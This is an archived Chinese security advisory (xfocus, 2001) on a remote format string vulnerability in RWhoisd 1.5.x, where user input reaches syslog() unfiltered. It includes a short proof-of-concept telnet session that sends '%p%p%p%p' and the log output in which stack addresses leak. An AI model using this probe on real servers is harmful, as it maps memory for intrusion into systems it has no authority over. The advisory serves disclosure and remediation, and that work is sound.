xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

RWhoisd 1.5.x远程格式化字符串漏洞浅析


发布时间:2001-11-22
更新时间:2001-11-22
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
RWhoisd所有版本
详细描述
RWhoisd所有版本(包括最新的rwhoisd-1.5.7-2)存在一个潜在的远程格式化字符串问题。攻击者能够利用这个漏洞执行任意代码。

在例子的rwhoisd.conf配置文件中
# use-syslog: whether or not to log using syslog;
# if it isn't logging to syslog, it attempts to log to files (see below)
$ normal default is YES

use-syslog: NO

但在它的注释中建议用户打开syslog的,所以syslog打开着的可能性很大,
这就导致了一个远程的格式化串问题。

在log()函数中存在如下调用
syslog(syslog_level,message);
而这里的message又是可以由用户控制的。所以将产生格式化串问题。

测试代码
[alert7@redhat62 ]# telnet 0 4321
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
%rwhois V-1.5:003fff:00 localhost.localdomain (by Network Solutions, Inc. V-1.5.7-1)
%p%p%p%p  <------input
%error 230 No Objects Found
Connection closed by foreign host.

[alert7@redhat62 ]# tail /var/log/messages
Nov 21 13:04:06 redhat62 rwhoisd[27697]: CLIENT:127.0.0.1: query: 0xbffff8b00xbffff7fc0x808def80x806be4c
Nov 21 13:04:06 redhat62 rwhoisd[27697]: CLIENT:127.0.0.1: query response: 0 hits

解决方案
临时解决办法
------------

暂时关闭4321 port,等待厂商补丁


厂商信息
--------

我们在2001年11月21日已经通知了厂商
厂商主页: http://www.rwhois.net/

相关信息
发 现 者: By NetGuard Security Team
           alert7 (alert7@netguard.com.cn)
主    页: http://www.netguard.com.cn/